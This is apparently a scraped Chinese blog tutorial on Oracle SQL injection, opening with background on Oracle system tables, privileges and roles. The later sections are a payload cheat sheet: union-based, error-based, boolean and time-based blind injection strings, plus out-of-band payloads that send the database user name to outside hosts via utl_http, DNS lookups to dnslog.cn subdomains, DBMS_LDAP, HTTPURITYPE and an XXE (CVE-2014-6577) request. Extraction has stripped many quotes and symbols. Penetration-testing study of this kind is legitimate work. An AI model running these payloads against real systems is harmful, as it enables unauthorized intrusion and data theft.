襄阳市作风建设年 网站,办公室设计效果图大全,python做网站缺点,跑纸活做网站文章目录 一、Oracle数据库介绍二、Oracle和MySQL的语法差异#xff1a;三、Oracle的数据库结构四、Oracle的重点系统表五、Oracle权限分类1、系统权限2、实体权限3、管理角色 六、oracle常用信息查询方法七、联合查询注入1、order by 猜字段数量2、查数据库版本和用户名3、查… 文章目录 一、Oracle数据库介绍二、Oracle和MySQL的语法差异三、Oracle的数据库结构四、Oracle的重点系统表五、Oracle权限分类1、系统权限2、实体权限3、管理角色 六、oracle常用信息查询方法七、联合查询注入1、order by 猜字段数量2、查数据库版本和用户名3、查当前数据库4、查表5、查字段 八、报错注入九、盲注1、布尔盲注2、时间盲注 十、带外OOB1、需要出外网HTTP2、dns解析带外3、SYS.DBMS_LDAP.INIT4、HTTPURITYPE5、Oracle XXE (CVE-2014-6577) 一、Oracle数据库介绍
Oracle数据库系统是世界上流行的关系数据库管理系统系统可移植性好、使用方便、功能强适用于各类大、中、小微机环境。它是一种高效率的、可靠性好的、适应高吞吐量的数据库方案。
Oracle服务默认端口1521
Oracle和MySQL数据库语法大致相同结构不太相同。最大的一个特点就是oracle可以调用Java代码。
Oracle要求select … from 后必须要有查询的表名 二、Oracle和MySQL的语法差异 Oracle要求select后必须指明要查询的表名可以用dual。 Oracle使用 || 拼接字符串MySQL中为或运算。 单引号和双引号在Oracle中虽然都是字符串但是双引号可以用来消除关键字比如sysdate。 Oracle中limit应该使用虚表中的rownum字段通过where条件判断。 Oracle中没有空字符‘和’null’都是null而MySQL中认为’仍然是一个字符串。 Oracle对数据格式要求严格比如union select的时候 三、Oracle的数据库结构
对于“数据库”这个概念而言Oracle采用了”表空间“的定义。数据文件就是由多个表空间组成的这些数据文件和相关文件形成一个完整的数据库。
当数据库创建时Oracle 会默认创建五个库SYSTEM、SYSAUX、USERS、UNDOTBS、TEMP
SYSTEM这个用于是存储系统表和管理配置等基本信息SYSAUX类似于 SYSTEM主要存放一些系统附加信息以便减轻 SYSTEM 的空间负担UNDOTBS用于事务回退等TEMP作为缓存空间减少内存负担USERS就是存储我们定义的表和数据
在Oracle中每个库中均存在一张dual表这个表是虚表并没有实际的存储意义它永远只存储一条数据因为Oracle的SQL语法要求select后必须跟上from所以我们通常使用dual来作为计算、查询时间等SQL语句中from之后的虚表占位。举例select 11 from dual。
Oracle要求select后必须指明要查询的表名可以用dual。 四、Oracle的重点系统表
– dba_tables : 系统里所有的表的信息需要DBA权限才能查询– all_tables : 当前用户有权限的表的信息– user_tables: 当前用户名下的表的信息– DBA_ALL_TABLESDBA 用户所拥有的或有访问权限的对象和表– ALL_ALL_TABLES某一用户拥有的或有访问权限的对象和表– USER_ALL_TABLES某一用户所拥有的对象和表 五、Oracle权限分类
在Oracle中根据系统管理方式不同将Oracle权限分为系统权限与实体权限两类。系统权限是指是否被授权用户可以连接到数据库上在数据库中可以进行哪些系统操作。而实体权限是指用户对具体的模式实体(schema)所拥有的权限。 系统权限系统规定用户使用数据库的权限。系统权限是对用户而言)。 实体权限某种权限用户对其它用户的表或视图的存取权限。是针对表或视图而言的。
1、系统权限
DBA拥有全部特权是系统最高权限只有DBA才可以创建数据库结构。RESOURCE拥有Resource权限的用户只可以创建实体不可以创建数据库结构。CONNECT拥有Connect权限的用户只可以登录Oracle不可以创建实体不可以创建数据库结构。
对于普通用户授予connect, resource权限。
对于DBA管理用户授予connectresource, dba权限。
系统权限授权命令
系统权限只能由DBA用户授出sys, system(最开始只能是这两个用户) 授权命令
SQL grant connect, resource, dba to 用户名1 [,用户名2]…;
注:普通用户通过授权可以具有与system相同的用户权限但永远不能达到与sys用户相同的权限system用户的权限也可以被回收。 例
SQL connect system/manager SQL Create user user50 identified by user50; SQL grant connect, resource to user50;查询用户拥有哪里权限
SQL select from dba_role_privs; SQL select from dba_sys_privs; SQL select * from role_sys_privs;查自己拥有哪些系统权限
SQL select * from session_privs;删除用户
SQL drop user 用户名 cascade; //加上cascade则将用户连同其创建的东西全部删除系统权限传递增加WITH ADMIN OPTION选项则得到的权限可以传递。
SQL grant connect, resorce to user50 with admin option; //可以传递所获权限。系统权限回收系统权限只能由DBA用户回收
SQL Revoke connect, resource from user50;说明
1如果使用WITH ADMIN OPTION为某个用户授予系统权限那么对于被这个用户授予相同权限的所有用户来说取消该用户的系统权限并不会级联取消这些用户的相同权限。
2系统权限无级联即A授予B权限B授予C权限如果A收回B的权限C的权限不受影响系统权限可以跨用户回收即A可以直接收回C用户的权限。2、实体权限
select, update, insert, alter, index, delete, all #all包括所有权限execute #执行存储过程权限
user01:
SQL grant select, update, insert on product to user02;
SQL grant all on product to user02;user02:
SQL select * from user01.product;
// 此时user02查user_tables不包括user01.product这个表但如果查all_tables则可以查到因为他可以访问。将表的操作权限授予全体用户
SQL grant all on product to public;
// public表示是所有的用户这里的all权限不包括drop。实体权限数据字典
SQL select owner, table_name from all_tables; // 用户可以查询的表
SQL select table_name from user_tables; // 用户创建的表
SQL select grantor, table_schema, table_name, privilege from all_tab_privs; // 获权可以存取的表被授权的
SQL select grantee, owner, table_name, privilege from user_tab_privs; // 授出权限的表(授出的权限)DBA用户可以操作全体用户的任意基表(无需授权包括删除)DBA用户
SQL Create table stud02.product( id number(10), name varchar2(20));
SQL drop table stud02.emp;SQL create table stud02.employee as select * from scott.emp;实体权限传递(with grant option)
user01: SQL grant select, update on product to user02 with grant option;
// user02得到权限并可以传递。实体权限回收
user01:
SQLRevoke select, update on product from user02;
//传递的权限将全部丢失。说明:
如果取消某个用户的对象权限那么对于这个用户使用WITH GRANT OPTION授予权限的用户来说同样还会取消这些用户的相同权限也就是说取消授权时级联的。3、管理角色
建一个角色
sqlcreate role role1;授权给角色
sqlgrant create any table,create procedure to role1;授予角色给用户
sqlgrant role1 to user1;查看角色所包含的权限
sqlselect * from role_sys_privs;创建带有口令以角色(在生效带有口令的角色时必须提供口令)
sqlcreate role role1 identified by password1;修改角色是否需要口令
sqlalter role role1 not identified;
sqlalter role role1 identified by password1;设置当前用户要生效的角色 (注角色的生效是一个什么概念呢假设用户a有b1,b2,b3三个角色
那么如果b1未生效则b1所包含的权限对于a来讲是不拥有的
只有角色生效了角色内的权限才作用于用户
最大可生效角色数由参数MAX_ENABLED_ROLES设定
在用户登录后oracle将所有直接赋给用户的权限和用户默认角色中的权限赋给用户。 sqlset role role1; //使role1生效
sqlset role role,role2; //使role1,role2生效
sqlset role role1 identified by password1; //使用带有口令的role1生效
sqlset role all; //使用该用户的所有角色生效
sqlset role none; //设置所有角色失效
sqlset role all except role1; //除role1外的该用户的所有其它角色生效。
sqlselect * from SESSION_ROLES; //查看当前用户的生效的角色。修改指定用户设置其默认角色
sqlalter user user1 default role role1;
sqlalter user user1 default role all except role1;删除角色
sqldrop role role1;角色删除后原来拥用该角色的用户就不再拥有该角色了相应的权限也就没有了。说明:
1)无法使用WITH GRANT OPTION为角色授予对象权限
2)可以使用WITH ADMIN OPTION 为角色授予系统权限,取消时不是级联六、oracle常用信息查询方法
1、获取数据库版本信息
SELECT banner FROM v$version WHERE banner LIKE Oracle%25;2、获取操作系统版本信息
SELECT banner FROM v$version WHERE banner LIKE TNS%25;3、获取当前数据库
SELECT name FROM v$database;4、获取数据库用户
SELECT user FROM dual;5、获取所有数据库用户
SELECT username FROM all_users;
SELECT name FROM sys.user$; -- 需要高权限6、获取当前用户权限
SELECT * FROM session_privs;7、获取当前用户有权限的所有数据库
SELECT DISTINCT owner, table_name FROM all_tables;8、获取表all_tables类似于MySQL中的information_schema.tables
SELECT * FROM all_tables;9、获取字段名
SELECT column_name FROM all_tab_columns;10、在Oracle启动时在 userenv 中存储了一些系统上下文信息通过 SYS_CONTEXT 函数我们可以取回相应的参数值。包括当前用户名等等。
SELECT SYS_CONTEXTUSERENVSESSION_USER from dual;七、联合查询注入
1、order by 猜字段数量
union select进行查询需要注意的是每一个字段都需要对应前面select的数据类型(字符串/数字)。所以我们一般先使用null字符占位然后逐位判断每个字段的类型举例
?usernameadmin union select null,null,null from dual -- 正常
?usernameadmin union select 1,null,null from dual -- 正常说明第一个字段是数字型
?usernameadmin union select 1,2,null from dual -- 第二个字段为数字时错误
?usernameadmin union select 1,asd,null from dual -- 正常就为字符串 依此类推2、查数据库版本和用户名
?usernameadmin union select 1,(select user from dual),(SELECT banner FROM v$version where banner like Oracle%25) from dual --3、查当前数据库
?usernameadmin union select 1,(SELECT global_name FROM global_name),null from dual --4、查表
wmsys.wm_concat()等同于MySQL中的group_concat()在11gr2和12C上已经抛弃可以用LISTAGG()替代
但是LISTAGG()返回的是varchar类型如果数据表很多会出现字符串长度过长的问题。这个时候可以使用通过字符串截取来进行。
?usernameadmin union select 1,(select LISTAGG(table_name,,)within group(order by owner)name from all_tables where ownerSYSTEM),null from dual --5、查字段
?usernameadmin union select 1,(select column_name from all_tab_columns where table_nameTEST and rownum2),null from dual --八、报错注入
报错注入常用函数 1、utl_inaddr.get_host_name
select utl_inaddr.get_host_name((select user from dual)) from dual;11g之后使用此函数的数据库用户需要有访问网络的权限
2、ctxsys.drithsx.sn
select ctxsys.drithsx.sn(1, (select user from dual)) from dual;处理文本的函数参数错误时会报错。
3、CTXSYS.CTX_REPORT.TOKEN_TYPE
select CTXSYS.CTX_REPORT.TOKEN_TYPE((select user from dual), 123) from dual;4、XMLType
?usernameadmin and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --注意url编码如果返回的数据有空格的话它会自动截断导致数据不完整这种情况下先转为 hex再导出。
5、dbms_xdb_version.checkin
select dbms_xdb_version.checkin((select user from dual)) from dual;6、dbms_xdb_version.makeversioned
select dbms_xdb_version.makeversioned((select user from dual)) from dual;7、dbms_xdb_version.uncheckout
select dbms_xdb_version.uncheckout((select user from dual)) from dual;8、dbms_utility.sqlid_to_sqlhash
SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual;9、ordsys.ord_dicom.getmappingxpath
select ordsys.ord_dicom.getmappingxpath((select user from dual), 1, 1) from dual;10、UTL_INADDR.get_host_name
select UTL_INADDR.get_host_name((select user from dual)) from dual;11、UTL_INADDR.get_host_address
select UTL_INADDR.get_host_name(~||(select user from dual)||~) from dual;九、盲注
1、布尔盲注
使用简单的字符串比较来进行比如
?usernameadmin and (select substr(user, 1, 1) from dual)S --通过decode配合除数为0来进行布尔盲注比如
?usernameadmin and 1(select decode(substr(user, 1, 1), S, (1/1),0) from dual) --2、时间盲注
时间延迟函数DBMS_PIPE.RECEIVE_MESSAGE()函数 dbms_pipe.receive_message(‘RDS’, 10) #将为从RDS管道返回的数据等待10秒。
select 1 from dual where DBMS_PIPE.RECEIVE_MESSAGE(asd, REPLACE((SELECT substr(user, 1, 1) FROM dual), S, 10))1;还可以配合decode
select decode(substr(user,1,1),S,dbms_pipe.receive_message(RDS,10),0) from dual;十、带外OOB
类似于MySQL load_file的带外盲注。OOB 都需要发起网络请求的权限有限制。
1、需要出外网HTTP
使用函数utl_http.request()
select utl_http.request(http://localhost:8080/index?username || (select user from dual)) from dual;2、dns解析带外
使用函数utl_inaddr.get_host_address
select utl_inaddr.get_host_address((select user from dual)||.cbb1ya.dnslog.cn) from dual;3、SYS.DBMS_LDAP.INIT
SELECT DBMS_LDAP.INIT((select user from dual)||.24wypw.dnslog.cn,80) FROM DUAL;这个函数在 10g/11g 中是 public 权限
4、HTTPURITYPE
SELECT HTTPURITYPE((select user from dual)||.24wypw.dnslog.cn).GETCLOB() FROM DUAL;5、Oracle XXE (CVE-2014-6577)
说是xxe实际上应该算是利用xml的加载外部文档来进行数据带外。支持http和ftp
http
select 1 from dual where 1(select extractvalue(xmltype(?xml version1.0 encodingUTF-8?!DOCTYPE root [ !ENTITY % remote SYSTEM http://192.168.124.1/||(SELECT user from dual)|| %remote;]),/l) from dual); ftp
select extractvalue(xmltype(?xml version1.0 encodingUTF-8?!DOCTYPE root [ !ENTITY % remote SYSTEM ftp://||user||:barIP/test %remote; %param1;]),/l) from dual;